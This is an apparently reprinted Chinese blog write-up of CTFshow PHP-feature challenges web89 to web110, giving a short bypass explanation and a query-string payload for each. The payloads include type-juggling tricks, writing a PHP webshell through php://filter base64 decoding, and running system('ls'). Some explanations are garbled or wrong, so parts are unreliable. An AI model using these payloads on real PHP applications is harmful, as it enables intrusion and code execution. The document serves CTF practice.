博客
关于我
[CTFSHOW]PHP特性
阅读量:375 次
发布时间:2019-03-05

本文共 1797 字,大约阅读时间需要 5 分钟。

web 89分析

题目要求绕过检查,确保输入为数字且等于4476。当前代码使用preg_match检查是否为数字,且严格比较等于4476。可以通过数组绕过,例如将num设为数组形式,如num[]=0,这样可以绕过检查。

解决方案

?num[]=0

web 90分析

检查num是否为4476,但使用了intval函数,base为0,遇到字母会停止。可以构造4476后面加字母,如4476a,intval会截断得到4476。

解决方案

?num=4476a

web 91分析

正则表达式检查输入是否为php字符串。第一个正则允许多行匹配,可以构造多行的php字符串,如php\nphp,这样可以绕过第二个正则检查。

解决方案

?cmd=a%0aphp

web 92分析

检查num是否为4476且包含0。可以使用科学计数法,如4476e123,intval会截断得到4476。

解决方案

?num=4476e123

web 93分析

检查num是否为4476且不含字母,且包含0。可以使用八进制,如010574,或者小数点如4476.0,绕过检查。

解决方案

?num=010574

web 94分析

检查num是否为4476且不含字母,且不含0。可以使用八进制前面加+,如+010574,或小数点如4476.0。

解决方案

?num=+010574

web 95分析

检查num是否为4476且不含字母,且不含0。可以使用小数点如4476.0,或者八进制如+010574。

解决方案

?num=4476.0

web 96分析

检查提交的文件是否为flag.php,可以通过当前目录使用./flag.php绕过。

解决方案

?u=./flag.php

web 97分析

检查POST参数a和b的MD5是否相同。可以构造a[]=1&b[]=2,利用数组绕过。

解决方案

?a[]=1&b[]=2

web 98分析

检查提交方式,需要构造正确的引用传递。

解决方案

FLAG值=flag,可以通过GET和POST同时提交HTTP_FLAG。

web 99分析

利用in_array漏洞,构造特定数组值,写入木马文件。

解决方案

:num=1.php

web 100分析

利用反射类获取类信息,构造v2为var_dump($ctfshow),获取flag。

解决方案

?v1=1&v2=var_dump($ctfshow)

web 101分析

利用十六进制转换和协议写入。

解决方案

v2=115044383959474e686443417159447367v3=php://filter/write=convert.base64-decode/resource=1.php

web 102分析

利用hex2bin和base64解码,绕过is_numeric。

解决方案

v1=hex2binv2=115044383959474e686443417159447367v3=php://filter/write=convert.base64-decode/resource=1.php

web 103分析

利用substr和函数调用,构造特定字符串。

解决方案

s=2;str=hex2bin

web 104分析

利用sha1碰撞,构造相同的哈希值。

解决方案

?v2[]=1 POST v1[]=1

web 105分析

利用变量覆盖,构造特定变量值。

解决方案

/suces=flag POST error=suces

web 106分析

利用sha1碰撞,构造相同的哈希值。

解决方案

?v2[]=1 POST v1[]=2

web 107分析

利用parse_str函数,构造特定参数。

解决方案

v1=flag md5=...

web 108分析

利用正则漏洞,构造特定字符。

解决方案

?c=a%00778

web 109分析

利用异常处理和反射类,构造特定函数调用。

解决方案

v1=Exception v2=system('ls')

web 110分析

利用正则漏洞,构造特定字符。

解决方案

?c=a%00778

总结

通过分析每一题的代码逻辑,识别出可利用的漏洞或绕过点,灵活运用技术手段构造有效的payload,成功获取flag。需要不断练习和复习,熟悉各类漏洞,提升解决问题的能力。

转载地址:http://tdxwz.baihongyu.com/

你可能感兴趣的文章
Netty4服务端入门代码示例
查看>>
Spring源码:prepareBeanFactory(beanFactory);方法
查看>>
AcWing 828. 模拟栈
查看>>
(20200328已解决)从docker容器内复制文件到宿主机
查看>>
理解Docker ulimit参数
查看>>
OpenAI Gym简介及初级实例
查看>>
int 转 CString
查看>>
Edit编辑框自动换行与长度
查看>>
Java面向对象
查看>>
JAVA带标签的break和continue
查看>>
Java获取线程基本信息的方法
查看>>
vue源码分析(MVVM篇)
查看>>
设计模式之组合模式
查看>>
(Python学习笔记):字典
查看>>
(C++11/14/17学习笔记):线程启动、结束,创建线程多法、join,detach
查看>>
leetcode 14 最长公共前缀
查看>>
做做Java
查看>>
C++并发与多线程(一)
查看>>
java一些基本程序
查看>>
vue-依赖-点击复制
查看>>